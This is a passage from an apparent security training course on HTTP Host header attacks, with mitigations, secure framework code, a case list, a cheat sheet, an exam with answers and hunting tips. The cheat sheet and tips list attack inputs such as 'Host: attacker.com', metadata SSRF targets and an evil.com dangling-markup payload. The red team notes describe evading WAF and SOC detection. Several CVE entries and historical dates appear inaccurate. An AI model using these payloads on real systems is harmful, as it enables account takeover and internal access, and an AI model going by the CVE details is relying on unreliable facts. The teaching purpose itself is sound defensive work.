  • 4. Disable `X-Forwarded-Host` and similar override headers at the WAF or proxy layer unless explicitly required. Most apps do not need them.
  • 5. Use the `Vary: X-Forwarded-Host` header if you must trust override headers, so caches separate poisoned responses.
  • 6. Set a strict CSP with `default-src 'self'` so injected attacker.com scripts cannot execute even if reflected.
  • 7. Hash and bind reset tokens to the email address so even a leaked token cannot be reused against a different account.
  • 8. Log and alert on requests with unexpected Host values. Any Host outside the allow-list is suspicious; a request with `Host: localhost` from an external IP is a clear attack.

Developer checklist

  • [ ] No `request.host`, `request.headers.host`, `req.hostname`, `Request.Host`, `$_SERVER["HTTP_HOST"]`, `HttpServletRequest.getHeader("Host")`, `ServletUriComponentsBuilder.fromCurrentContextPath()` in any code that builds emails, redirects, or absolute URLs.
  • [ ] Canonical base URL is set in config and loaded once at startup.
  • [ ] `ALLOWED_HOSTS` (Django) / equivalent host validation is set with explicit hostnames, no wildcards.
  • [ ] X-Forwarded-Host is either ignored or validated against the same allow-list.
  • [ ] Reverse proxy has a default vhost that returns 421 (Misdirected Request) for unknown Hosts.
  • [ ] Password reset tokens are short-lived (5-15 minutes) and one-time-use.
  • [ ] Password reset tokens are bound to the user's email; the reset endpoint re-checks the email.
  • [ ] Caching layer includes Host in the cache key OR the application never reflects request headers in cached responses.
  • [ ] Security tests include Host header probes for every authenticated route and every email-generating route.
  • [ ] Logs capture the full Host header value for every request; alerts fire on values outside the allow-list.

Framework-specific secure examples

Django (production-grade)

python
# settings.py
ALLOWED_HOSTS = ["anastech.com", "www.anastech.com"]
USE_X_FORWARDED_HOST = False  # default; do NOT enable
SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https")

# views.py
from django.urls import reverse

def forgot_password(request):
    email = request.POST["email"]
    user = User.objects.filter(email=email).first()
    if user:
        token = make_token(user)
        # build_absolute_uri uses Host; explicitly avoid it
        path = reverse("reset", kwargs={"token": token})
        link = f"https://anastech.com{path}"
        send_mail("Reset", link, "noreply@anastech.com", [email])
    return HttpResponse("OK")

Express (Node.js)

javascript
const CANONICAL_BASE = process.env.CANONICAL_BASE_URL || 'https://anastech.com';

app.set('trust proxy', false);  // do NOT trust X-Forwarded-* by default

app.post('/forgot-password', async (req, res) => {
    const email = req.body.email;
    const user = await findUser(email);
    if (user) {
        const token = generateToken();
        await saveToken(user, token);
        const link = `${CANONICAL_BASE}/reset?token=${token}`;
        await sendEmail(email, 'Reset', link);
    }
    res.send('OK');
});

// Allow-list middleware to reject unknown Hosts
const ALLOWED = ['anastech.com', 'www.anastech.com'];
app.use((req, res, next) => {
    const host = req.headers.host;
    if (!ALLOWED.includes(host)) {
        return res.status(421).send('Misdirected Request');
    }
    next();
});

Spring Boot (Java)

java
// application.properties
server.use-forward-headers=false
server.forward-headers-strategy=NONE

@Value("${app.canonical-base-url}")
private String canonicalBaseUrl;  // injected from config

@PostMapping("/forgot-password")
public String forgot(@RequestParam String email) {
    User user = userRepo.findByEmail(email);
    if (user != null) {
        String token = generateToken();
        saveToken(user, token);
        String link = canonicalBaseUrl + "/reset?token=" + token;
        emailService.send(email, "Reset", link);
    }
    return "redirect:/forgot-sent";
}

NGINX configuration

nginx
# Reject unknown Hosts at the proxy layer
server {
    listen 443 ssl default_server;
    server_name _;
    return 421;
}

# Real site
server {
    listen 443 ssl;
    server_name anastech.com www.anastech.com;

    location / {
        proxy_pass http://backend;
        proxy_set_header Host $host;
        # do NOT forward X-Forwarded-Host unless required
    }
}

Enterprise-level mitigations

  • Deploy a central allow-list of known good Hosts at the edge (CDN, WAF) and reject everything else.
  • Use canonical hostnames signed in JWT issuer / audience claims so even leaked tokens cannot be replayed against impersonated hosts.
  • Tag every URL-generating function in the codebase with a static analysis lint rule that bans the use of `request.host`.
  • Schedule quarterly red team exercises that specifically test Host header attacks across all customer-facing email and notification flows.
  • Subscribe to your framework's security advisories: Django, Spring, Express, ASP.NET, Rails, Laravel.
  • For multi-tenant SaaS, separate tenant Host resolution from URL generation entirely. Use opaque tenant IDs in URLs, not hostnames.
  • Implement Host header diff alerts: monitor whether the Host header observed at the application differs from the Host implied by SNI; investigate any discrepancy.

SECTION 17. Real-World Cases

CVEs (2022-2026)

  • CVE-2025-52560 (Kanboard, CWE-640) ==> Password reset emails derived from unvalidated Host header when `application_url` is unset. Patched October 2025.
  • CVE-2024-46452 (CVSS 6.1) ==> Host Header Injection in the password reset function of a popular open-source online shop application. Disclosed 2024. The fix introduced a canonical URL config.
  • CVE-2024-40686 (CVSS 7.5) ==> IBM SmartCloud Analytics Host Header Injection enabling cache poisoning and session hijacking. Patched in 2024.
  • CVE-2024-21733 (Apache Tomcat, partial overlap) ==> Browser-powered client-side desync that also enables Host header desync between front-end and back-end.
  • CVE-2023-32314 (vm2 sandbox) ==> Host-based path detection bypass leading to sandbox escape.
  • CVE-2023-42795 (Apache Tomcat) ==> Incomplete recycling of HTTP/2 connections; Host header from prior request leaked into next request on the same connection.
  • CVE-2022-2812 (Authelia) ==> Host header bypass allowed redirect to attacker-controlled domain after authentication, leading to OAuth token theft.
  • CVE-2022-21703 (Grafana) ==> Cross-origin request forgery via Host header injection in Grafana's password reset endpoint.
  • CVE-2022-31090 (Apache HttpComponents Client) ==> Improper validation of authentication challenge based on Host header allowed credential leak.
  • CVE-2021-44531 (Node.js) ==> The Subject Alternative Names section of certificates is checked against Host; bypass via embedded null bytes.

HackerOne disclosures (with bounty amounts where known)

  • TheIndianNetwork - $1,000 ==> Host Header Injection on a major SaaS platform leading to account takeover via password reset poisoning. Reported 2025. The author submitted a Burp Repeater PoC and got the bounty within 24 hours.
  • HackerOne report 1679969 - US Dept of Defense ==> Host Header Injection across multiple .mil subdomains, cache poisoning chain. Acknowledged 2023.
  • HackerOne report 1783015 - Urban Company ==> Host header injection chained with SSRF. The Host=internal-admin reachable from public proxy. Acknowledged.
  • HackerOne report 1098948 - Kartpay ==> Host Header Injection on main domain via X-Forwarded-Host. Closed as Resolved with bounty.
  • HackerOne report 1392935 - Omise - $200 ==> XSS via X-Forwarded-Host header. Stored XSS chain. Resolved December 2021.
  • HackerOne report 698416 - New Relic ==> Host Header Injection in account-related emails. Disclosed.
  • HackerOne report 226659 ==> Password Reset link hijacking via Host Header Poisoning. The classic report that put this bug class on every hunter's radar.
  • HackerOne report 170333 - RubyGems ==> Host Header Injection / Redirection. The RubyGems team disclosed the report after patching.
  • Pethuraj blog - $800 ==> Host Header Injection on a SaaS provider's marketing domain. Reflected Host in canonical link, escalated to phishing primitive.
  • Multiple programs - $100-$500 range ==> Reflected Host header bugs without full impact chain. Common quick wins for new bounty hunters.

Notable historical milestones

  • 2008 ==> Original "Host Header Injection: Reset Password Poisoning" research by Skeletonscribe documented the password reset chain. The technique was named.
  • 2013 ==> James Kettle published the first wide-scope research showing the bug affected major sites (Gmail, GitHub, Joomla, Drupal at the time). Most patched within weeks.
  • 2018 ==> Web cache poisoning via Host headers became a mainstream technique after Kettle's "Practical Web Cache Poisoning" paper. Multiple six-figure bug bounty disclosures followed.
  • 2020 ==> Routing-based SSRF via Host became a top SSRF primitive after the Capital One breach exposed how cloud metadata exposure compounds with these bugs.
  • 2022 ==> Connection-state Host attacks introduced in "Browser-Powered Desync Attacks" research; new class of authentication bypasses.
  • 2024-2025 ==> Continued CVE flow shows the bug is not dying. Modern variants combine Host with HTTP/2 :authority and CDN cache normalization quirks.

Lessons learned

  • The bug is twenty years old and still ships in 2025. Every framework patches it; every new application reintroduces it.
  • The convenient way to build URLs is the wrong way. Hardcode the canonical base URL, always.
  • Password reset flows are the highest-impact location. Every bug bounty hunter should test them first.
  • Cache poisoning amplifies a single Host header bug from "one victim" to "thousands of victims" instantly.
  • Cloud metadata exposure (169.254.169.254) is a $50k+ bounty chain on most modern bug bounty programs. Always test it.
  • X-Forwarded-Host is the single most common override. If Host is patched, try X-Forwarded-Host.

SECTION 18. References

SECTION 19. Practical Labs

SOON.

SECTION 20. Cheat Sheet

text
+------------------------------------------------------------------+
|              HTTP HOST HEADER ATTACKS CHEAT SHEET                |
+------------------------------------------------------------------+
|                                                                  |
|  DETECTION                                                       |
|  ==> Change Host: anastech.com to Host: attacker.com             |
|  ==> Check email body, redirect Location, HTML, canonical link   |
|  ==> Try X-Forwarded-Host: attacker.com (keep Host valid)        |
|  ==> Try duplicate Host, line folding, absolute URI              |
|  ==> Try Host: localhost / 127.0.0.1 / 169.254.169.254           |
|                                                                  |
|  TOP 10 OVERRIDE HEADERS                                         |
|  Host                  ==> the obvious one, always try first     |
|  X-Forwarded-Host      ==> the most common bypass                |
|  X-Host                ==> Apache/IIS variant                    |
|  X-Forwarded-Server    ==> Apache mod_proxy                      |
|  X-HTTP-Host-Override  ==> rare but real                         |
|  X-Original-Host       ==> Azure proxies                         |
|  X-Real-Host           ==> custom CDN                            |
|  X-Backend-Host        ==> service mesh                          |
|  Forwarded             ==> RFC 7239, often forgotten             |
|  X-Rewrite-URL         ==> Symfony                               |
|                                                                  |
|  THE 7 CORE TECHNIQUES                                           |
|  1. Password reset poisoning  ==> Host: attacker.com on forgot   |
|  2. X-Forwarded-Host bypass   ==> validate Host, override on XFH |
|  3. Host auth bypass          ==> Host: localhost on /admin      |
|  4. Web cache poisoning       ==> XFH not in cache key           |
|  5. Routing-based SSRF        ==> Host: 169.254.169.254 etc.     |
|  6. Connection state attack   ==> validate req1, abuse req2      |
|  7. Dangling markup           ==> Host: x"><a href='//evil.com'  |
|                                                                  |
|  X-CACHE HEADER LOGIC                                            |
|  HIT  ==> response served from cache (poisoning succeeded)       |
|  MISS ==> response from origin (you reached the backend)         |
|  Use X-Cache + reflection to confirm cache poisoning             |
|                                                                  |
|  TOOLS                                                           |
|  ==> Burp Repeater + Param Miner                                 |
|  ==> nuclei -t http/misconfiguration/                            |
|  ==> curl -H "Host: X" -H "X-Forwarded-Host: Y"                  |
|  ==> Python socket for connection-state attacks                  |
|                                                                  |
|  PREVENTION                                                      |
|  ==> Never use request.host to build URLs                        |
|  ==> Hardcode canonical base URL in config                       |
|  ==> Set ALLOWED_HOSTS / equivalent allow-list                   |
|  ==> Reject X-Forwarded-Host unless explicitly required          |
|  ==> Default proxy vhost returns 421 Misdirected Request         |
|  ==> Tokens short-lived, one-time, bound to email                |
|                                                                  |
+------------------------------------------------------------------+

SECTION 21. Exam

The exam has 30 multiple-choice questions. The platform picks 20 random questions per attempt. Score 16/20 to pass. Score 14-15 to retry. Score 0-13 to fail and review the course.

Q1. The Host header is mandatory in which HTTP version? A. HTTP/0.9 B. HTTP/1.0 C. HTTP/1.1 D. HTTP/3 only Answer: C.

Q2. A server uses one IP to serve multiple websites. The mechanism that lets the server know which site you want is called: A. Reverse DNS B. Virtual hosting via the Host header C. SNI only D. TCP source port routing Answer: B.

Q3. Password reset poisoning via Host header works because: A. The Host header is encrypted by TLS so it cannot be modified B. The application builds the reset link using the Host header value C. The Host header is signed by the server D. The reset token is stored in the Host header Answer: B.

Q4. Which header is the most common alternative to Host that overrides the Host value at the application layer? A. X-Forwarded-Proto B. X-Forwarded-For C. X-Forwarded-Host D. X-Real-IP Answer: C.

Q5. The primary CWE associated with weak password recovery via Host header poisoning is: A. CWE-79 B. CWE-89 C. CWE-640 D. CWE-22 Answer: C.

Q6. Setting `Host: localhost` on a request to `/admin` may bypass authentication when: A. The browser refuses to send the request B. The application skips auth checks for localhost-based Hosts and the proxy forwards Host as-is C. The DNS resolves localhost to a public IP D. The CDN encrypts the Host header Answer: B.

Q7. Which of the following is NOT typically a Host override header? A. X-Forwarded-Host B. X-Host C. X-Forwarded-Server D. X-Powered-By Answer: D.

Q8. The X-Cache header value `HIT` means: A. The response was served from the origin server B. The response was served from the cache C. The request was rejected D. The response was hashed Answer: B.

Q9. Web cache poisoning via Host header works best when: A. The cache includes the Host header in the cache key B. The cache does NOT include the override header in the key but the application reflects it C. Caching is disabled D. The application uses HTTPS Answer: B.

Q10. AWS cloud metadata is reachable at which IP? A. 10.0.0.1 B. 192.168.1.1 C. 169.254.169.254 D. 127.0.0.1 Answer: C.

Q11. Routing-based SSRF via Host header allows the attacker to: A. Encrypt the response B. Reach internal services not exposed to the internet by setting Host to internal hostnames C. Generate a TLS certificate D. Bypass DNS Answer: B.

Q12. Duplicate Host headers can cause vulnerabilities when: A. The browser refuses both B. The front-end parses one Host and the back-end parses the other C. They are encrypted D. They are stripped by TLS Answer: B.

Q13. The connection state Host attack works because: A. The application validates Host only on the first request of a TCP connection B. TLS prevents Host changes C. The browser caches Host D. The Host header is server-generated Answer: A.

Q14. A canonical defense for Host header attacks is: A. Read the Host header in production but not staging B. Hardcode the canonical base URL in config and never use the Host header to build URLs C. Always trust X-Forwarded-Host D. Disable HTTPS Answer: B.

Q15. In Django, the configuration setting that allow-lists valid Hosts is: A. INSTALLED_APPS B. ALLOWED_HOSTS C. MIDDLEWARE D. DATABASES Answer: B.

Q16. In Express (Node.js), trusting X-Forwarded-Host is controlled by: A. trust proxy setting B. JSON parser C. CORS module D. compression module Answer: A.

Q17. A request with `Host: 169.254.169.254` is most commonly used to: A. Test browser compatibility B. Reach cloud instance metadata service C. Bypass HTTPS D. Modify TCP port Answer: B.

Q18. Password reset tokens should be: A. Long-lived, multi-use, shared across users B. Short-lived, one-time use, bound to the email and account C. Stored in the Host header D. Sent over HTTP Answer: B.

Q19. Which of these is a localhost bypass payload? A. Host: 2130706433 B. Host: google.com C. Host: ::ffff:8.8.8.8 D. Host: 0.0.255.0 Answer: A.

Q20. The Forwarded header (RFC 7239) syntax for Host is: A. Forwarded: by=... B. Forwarded: for=... C. Forwarded: host=... D. Forwarded: proto=... Answer: C.

Q21. Dangling markup via Host header injection happens when: A. The Host is encoded as JSON B. The Host value is inserted into HTML without HTML-escaping C. The Host header is compressed D. The Host is signed with HMAC Answer: B.

Q22. The `:authority` pseudo-header in HTTP/2 replaces: A. Method B. Path C. Host header D. User-Agent Answer: C.

Q23. Which HTTP response code is a sensible default for unknown Host values? A. 200 OK B. 301 Moved Permanently C. 421 Misdirected Request D. 503 Service Unavailable Answer: C.

Q24. A trailing dot in Host (e.g., `anastech.com.`) can: A. Cause the request to fail TLS B. Bypass allow-list checks that compare strings exactly C. Reverse DNS poisoning D. Trigger a Content-Length mismatch Answer: B.

Q25. Burp Param Miner is most useful for: A. SQL injection B. Discovering undocumented override headers C. Generating TLS certs D. Compressing requests Answer: B.

Q26. The `Vary` header in HTTP responses is relevant to Host header attacks because: A. It prevents TLS downgrade B. It tells caches which request headers affect the response, so caches separate keys accordingly C. It encrypts the body D. It signs the Host header Answer: B.

Q27. Routing-based SSRF via Host header has been used to: A. Disable JavaScript B. Read AWS IAM credentials from the metadata service C. Spoof TLS certificates D. Generate QR codes Answer: B.

Q28. A SAML callback hijack via Host header poisoning succeeds because: A. SAML is not cryptographic B. The IdP builds the ACS (Assertion Consumer Service) URL from Host or from a request-controlled value C. The browser refuses SAML over HTTPS D. CORS prevents the redirect Answer: B.

Q29. Which combination most commonly enables MASS exploitation via Host header bug? A. Host + sticky session B. Host + cache poisoning C. Host + reverse DNS D. Host + HSTS Answer: B.

Q30. The fix for a Host header bug is: A. Add logging B. Use a hardcoded canonical URL from config; never use Host to build URLs C. Trust X-Forwarded-Host instead D. Disable HTTP/2 Answer: B.

Scoring guide

  • 27-30 correct ==> Excellent. You understand the entire bug class and its variants.
  • 24-26 correct ==> Solid. Practice on a live bug bounty target.
  • 20-23 correct ==> Pass with reservation. Review Sections 11 and 16.
  • 16-19 correct ==> Pass at the minimum threshold. Review the whole course.
  • 14-15 correct ==> Retry. Read Sections 2, 8, and 11 again.
  • 0-13 correct ==> Fail. Restart the course from Section 1.

SECTION 22. Certificate Requirements

To earn the ANAS EDUCATION HTTP Host Header Attacks certificate:

  • Complete all 24 sections (read or watch each).
  • Complete all ANAS EDUCATION Host header attack labs (released as SOON).
  • Pass the final exam with at least 16/20.

SECTION 23. Important Notes

Common Beginner Mistakes

  • Testing only the `Host` header. The bounty is usually in `X-Forwarded-Host`. Always test the override headers separately.
  • Forgetting to keep `Host: anastech.com` when testing overrides. Many WAFs reject requests where Host alone is changed; the override headers slip through.
  • Concluding "no bug" because the response does not contain `attacker.com`. The bug often manifests in side effects: email links, cached responses, redirects on the NEXT request.
  • Not testing connection state. Burp's default is to create a new connection per request, which hides connection-state Host bypass bugs.
  • Reporting reflected Host without escalation. A "Host appears in response body" finding alone is informational; build the full chain (password reset, cache, SSRF) for real impact.

Pentester Tips

  • Always test password reset, account verification, and email invitation flows first.
  • Use Burp Collaborator (or interact.sh) so you get DNS and HTTP callbacks confirming the bug worked.
  • When testing the forgot-password endpoint, use your own test account so you receive the resulting email and can capture the exact link.
  • Use Param Miner to discover non-standard override headers. Many enterprises use custom names.
  • For cache poisoning testing, always send a clean second request and check `X-Cache: HIT` plus reflection.
  • When checking `localhost` bypass, also try IPv6 (`[::1]`), decimal (`2130706433`), and trailing dot (`localhost.`).

Bug Bounty Tips

  • A clean, reproducible password reset poisoning PoC typically pays $1,000-$5,000 on mid-tier programs and $5,000-$20,000 on top-tier programs.
  • Web cache poisoning chains with Host pay 5-10x more than the same bug without cache poisoning.
  • Routing-based SSRF chains to cloud metadata pay $10,000+ on most cloud-focused bounty programs.
  • Write your reports with three sections: the vulnerable request, the resulting impact (email, cache, etc.), and a one-paragraph mitigation. Programs reward clarity.
  • Include a 30-second video demo when possible; triagers love video and triage faster.
  • When the bug is in a less obvious feature (account verification rather than password reset), call this out explicitly. Triagers may otherwise close as duplicate of a known reset-poisoning report.

Red Team Notes

  • In a red team engagement, the Host header attack is a quiet primitive. It does not trigger WAF rules typically focused on path or body content.
  • Combine Host header attacks with phishing for high-fidelity account takeover (poison the reset, then trigger it via a target spear-phish).
  • Cache poisoning in a red team enables a fast, targeted attack that disappears after the cache TTL, leaving little forensic trail.
  • Routing-based Host SSRF often gives the same level of access as VPN access but without triggering VPN monitoring or NDR alerts.
  • Use HTTP/2 `:authority` desync against modern targets; many SOCs do not yet monitor for this variant.

Real-World Advice

  • The bug lives in the smallest part of code: one line that reads `request.host`. Patches are short. The hard part is finding every place that reads it.
  • Static analysis tools usually do NOT flag Host header usage by default. You have to add custom lint rules.
  • Pen tests focused only on the OWASP Top 10 often miss Host header attacks because they are split across CWE-20, CWE-640, CWE-918, CWE-444. Make sure your scope explicitly includes them.

Things to Remember During Exams

  • Host header overrides include both Host and X-Forwarded-Host (and others). Know the top 5 by heart.
  • The X-Cache header tells you HIT (cache) or MISS (origin). HIT plus reflection equals poisoning confirmed.
  • Localhost variants: `127.0.0.1`, `localhost`, `[::1]`, `2130706433`, `127.0.0.1.`, `0x7f000001`.
  • The fix is always: hardcode canonical URL, allow-list validate Host, never use Host to build URLs.
  • CWE-640 is the primary CWE for password reset poisoning.

Things to Remember During Real Assessments

  • Test every email-generating feature, not just password reset. Verification emails, billing emails, invitations are all in scope.
  • Test override headers individually AND in combinations.
  • Check authenticated routes for localhost-bypass behavior.
  • Test routing-based SSRF with cloud metadata IPs even if the application looks unrelated to cloud. Many internal services are reachable.
  • Always verify cache behavior with a second clean request before declaring "cache poisoned".

Frequently Confused Concepts

  • Host vs SNI ==> Host is in the HTTP header (application layer). SNI is in the TLS ClientHello (transport layer). The two can disagree. A proxy may route by SNI but the application reads Host.
  • Host vs :authority ==> In HTTP/1.1 the Host header carries the hostname; in HTTP/2 the `:authority` pseudo-header does. Both can coexist during HTTP/2 downgrade and confuse parsers.
  • Host header injection vs CRLF injection ==> Host header injection bends an existing header value to attacker.com. CRLF injection injects entirely new headers via `\r\n`. They sometimes chain.
  • Cache poisoning vs cache deception ==> Poisoning makes the cache return malicious content to victims. Deception makes the cache store private content under a public key. Host bugs enable both.
  • Password reset poisoning vs open redirect ==> Open redirect bounces a victim to attacker.com after they click. Reset poisoning gives the attacker the secret token directly. Reset poisoning is higher severity.

Interview Tips

  • Be ready to explain why the Host header is attacker-controlled. The answer: "Anyone with a TCP socket can send any value; the browser is one client among many."
  • Be ready to describe the password reset poisoning chain end-to-end in two minutes.
  • Be ready to name 5 override headers without looking them up.
  • Know the fix: hardcoded canonical URL plus allow-list validation.
  • Know one real CVE from the last 24 months (CVE-2024-46452 is a good answer).

Key Takeaways

  • The Host header is application-layer attacker input, no different from a query parameter.
  • Any use of the Host header to build URLs, route traffic, or authorize requests creates a potential vulnerability.
  • Password reset poisoning is the highest-impact single-victim attack; web cache poisoning is the highest-impact multi-victim attack.
  • Always test override headers (X-Forwarded-Host first) when the basic Host is patched.
  • The fix is small (hardcode canonical URL) but the discipline must be company-wide.

SECTION 24. Final Word from Your Instructor

The HTTP Host header is the most ignored attack surface in modern web applications.

Every developer learns about SQL injection. Every developer learns about XSS. Few developers learn that the Host header on every incoming request is attacker-controllable text. The Host header arrives looking official, parsed by the framework, exposed as `request.host`. It feels safe.

It is not safe. It is the most untrusted byte in the entire HTTP request.

Every time a developer writes:

python
link = f"https://{request.host}/reset?token={token}"

A new password reset poisoning bug is born somewhere in the world.

Every time a developer writes:

javascript
const canonical = req.headers.host;
return res.send(`<link rel="canonical" href="https://${canonical}${req.path}">`);

A new cache poisoning vector is born.

Every time a proxy admin writes:

nginx
server_name _;

A new routing-based SSRF is born.

Your job, as a hunter, is to look at any web application and ask one question: "Does this app read the Host header to make a decision?"

When you see a password reset feature, ask: "Where does the link in the email come from?"

When you see a redirect, ask: "Is the Location header built from Host?"

When you see an admin route, ask: "Is there a check like 'if Host equals localhost, skip auth'?"

When you see a SAML or OAuth callback URL, ask: "Is the ACS or redirect_uri derived from Host?"

When you see a CDN-fronted site, ask: "What headers does the cache include in its key? And what headers does the app reflect into the cached HTML?"

When you see an HTTP/2 request, ask: "Does the back-end still read a Host header even though :authority is the canonical one?"

If the answer to any of these is "yes, without validation", you have found a bug worth thousands of dollars.

The password reset poisoning chain is the clearest demonstration. Memorize it.

The X-Forwarded-Host override is the most common bypass when the basic Host is patched. Memorize it.

The connection-state attack is the most subtle, the highest-paying when found. Memorize it.

The routing-based SSRF chain to cloud metadata is the most lucrative. Memorize it.

The bug class is twenty years old and still ships in 2026. You will find it on production sites you visit every day. You will find it on bug bounty programs that have been running for ten years. You will find it on internal pen tests. You will find it on your own employer's apps.

Bring a list of the override headers from Section 14. Bring the cheat sheet from Section 20. Bring patience to test every email-generating feature you find.

  • Welcome to the world where one wrong header changes everything.
  • Go hunt.